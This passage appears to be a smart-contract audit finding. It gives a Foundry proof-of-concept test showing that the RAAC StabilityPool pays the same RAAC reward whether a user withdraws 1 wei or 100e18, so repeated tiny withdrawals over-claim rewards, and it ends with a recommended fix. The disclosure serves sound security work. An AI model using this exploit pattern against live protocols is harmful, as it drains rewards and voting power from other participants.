In this example you can see that no matter what's the withdrawn amount, the user gets the same reward.
pragma solidity ^0.8.19;
import {Test, console} from "forge-std/Test.sol";
import {LendingPool} from "contracts/core/pools/LendingPool/LendingPool.sol";
import {StabilityPool} from "contracts/core/pools/StabilityPool/StabilityPool.sol";
import {crvUSDToken} from "contracts/mocks/core/tokens/crvUSDToken.sol";
import {RToken} from "contracts/core/tokens/RToken.sol";
import {DebtToken} from "contracts/core/tokens/DebtToken.sol";
import {RAACNFT} from "contracts/core/tokens/RAACNFT.sol";
import {RAACHousePricesMock} from "contracts/mocks/core/primitives/RAACHousePricesMock.sol";
import {RAACHousePriceOracle} from "contracts/core/oracles/RAACHousePriceOracle.sol";
import {MockFunctionsRouter} from "contracts/mocks/core/oracles/MockFunctionsRouter.sol";
import {FeeCollector} from "contracts/core/collectors/FeeCollector.sol";
import {MockVeToken} from "contracts/mocks/core/tokens/MockVeToken.sol";
import {RAACMinter} from "contracts/core/minters/RAACMinter/RAACMinter.sol";
import {DEToken} from "contracts/core/tokens/DEToken.sol";
import {RAACToken} from "contracts/core/tokens/RAACToken.sol";
import {MockVaultV3} from "contracts/mocks/CurveVaultMock.sol";
contract SetupContract is Test {
address public user1;
address public user2;
address public user3;
uint256 public currentBlockTimestamp = 1000 days;
address public treasury;
address public repairFund;
LendingPool public lendingPool;
crvUSDToken public _crvUSDToken;
RToken public rToken;
MockVeToken public veRToken;
DebtToken public debtToken;
RAACHousePricesMock public raacHousePrices;
RAACNFT public raacNFT;
RAACHousePriceOracle public raacHousePriceOracle;
FeeCollector public feeCollector;
StabilityPool public stabilityPool;
RAACMinter public raacMinter;
DEToken public deToken;
RAACToken public raacToken;
MockVaultV3 public curveVault;
uint256 public constant INITIAL_PRIME_RATE = 1e26;
function setUp() external {
vm.warp(currentBlockTimestamp);
user1 = makeAddr("user1");
user2 = makeAddr("user2");
user3 = makeAddr("user3");
treasury = makeAddr("treasury");
repairFund = makeAddr("repairFund");
stabilityPool = new StabilityPool(address(this));
veRToken = new MockVeToken();
_crvUSDToken = new crvUSDToken(address(this));
rToken = new RToken("rtoken", "rtk", address(this), address(_crvUSDToken));
raacToken = new RAACToken(address(this), 0, 0);
deToken = new DEToken("deToken", "detk", address(this), address(rToken));
debtToken = new DebtToken("debtToken", "dtk", address(this));
raacHousePrices = new RAACHousePricesMock();
raacNFT = new RAACNFT(address(_crvUSDToken), address(raacHousePrices), address(this));
raacHousePriceOracle = new RAACHousePriceOracle(
address(new MockFunctionsRouter()), bytes32(bytes("fun-ethereum-mainnet-1")), address(this)
);
curveVault = new MockVaultV3(address(_crvUSDToken), "vault", "vv");
feeCollector = new FeeCollector(address(rToken), address(veRToken), treasury, repairFund, address(this));
lendingPool = new LendingPool(
address(_crvUSDToken),
address(rToken),
address(debtToken),
address(raacNFT),
address(raacHousePrices),
INITIAL_PRIME_RATE
);
raacMinter = new RAACMinter(address(raacToken), address(stabilityPool), address(lendingPool), address(this));
stabilityPool.initialize(
address(rToken),
address(deToken),
address(raacToken),
address(raacMinter),
address(_crvUSDToken),
address(lendingPool)
);
raacToken.setMinter(address(raacMinter));
rToken.setReservePool(address(lendingPool));
debtToken.setReservePool(address(lendingPool));
deToken.setStabilityPool(address(stabilityPool));
_crvUSDToken.mint(user1, 10000e18);
_crvUSDToken.mint(user2, 100e18);
_crvUSDToken.mint(user3, 1000e18);
}
function testBrokenRewardsMechanism() public {
vm.startPrank(user1);
_crvUSDToken.approve(address(lendingPool), 1000e18);
lendingPool.deposit(1000e18);
vm.stopPrank();
vm.startPrank(user2);
_crvUSDToken.approve(address(lendingPool), 100e18);
lendingPool.deposit(100e18);
vm.stopPrank();
raacHousePrices.setTokenPrice(1, 100e18);
vm.startPrank(user3);
_crvUSDToken.approve(address(raacNFT), 100e18);
raacNFT.mint(1, 100e18);
raacNFT.approve(address(lendingPool), 1);
lendingPool.depositNFT(1);
lendingPool.borrow(50e18);
vm.stopPrank();
vm.startPrank(user1);
rToken.approve(address(stabilityPool), 1000e18);
stabilityPool.deposit(1000e18);
vm.stopPrank();
vm.startPrank(user2);
rToken.approve(address(stabilityPool), 100e18);
stabilityPool.deposit(100e18);
console.log("Raac balance before first rewards withdraw", raacToken.balanceOf(user2));
vm.warp(currentBlockTimestamp + 2 days);
vm.roll(block.number + 2);
stabilityPool.withdraw(1);
vm.stopPrank();
console.log("Raac balance after first rewards withdraw", raacToken.balanceOf(user2));
}
function testBrokenRewardWithAnotherValue() public {
vm.startPrank(user1);
_crvUSDToken.approve(address(lendingPool), 1000e18);
lendingPool.deposit(1000e18);
vm.stopPrank();
vm.startPrank(user2);
_crvUSDToken.approve(address(lendingPool), 100e18);
lendingPool.deposit(100e18);
vm.stopPrank();
raacHousePrices.setTokenPrice(1, 100e18);
vm.startPrank(user3);
_crvUSDToken.approve(address(raacNFT), 100e18);
raacNFT.mint(1, 100e18);
raacNFT.approve(address(lendingPool), 1);
lendingPool.depositNFT(1);
lendingPool.borrow(50e18);
vm.stopPrank();
vm.startPrank(user1);
rToken.approve(address(stabilityPool), 1000e18);
stabilityPool.deposit(1000e18);
vm.stopPrank();
vm.startPrank(user2);
rToken.approve(address(stabilityPool), 100e18);
stabilityPool.deposit(100e18);
console.log("Raac balance before first rewards withdraw", raacToken.balanceOf(user2));
vm.warp(currentBlockTimestamp + 2 days);
vm.roll(block.number + 2);
stabilityPool.withdraw(100e18);
vm.stopPrank();
console.log("Raac balance after first rewards withdraw", raacToken.balanceOf(user2));
}
}
Users can exploit this to claim more RAAC rewards than they should be entitled to, allowing them to get a bigger voting power and exploit the protocol in many ways.
Implement a reward index system to track accumulated rewards per share, also add the exact amount of withdrawal in the award calculation in the calculateRaacRewards function to prevent double claiming through partial withdrawals.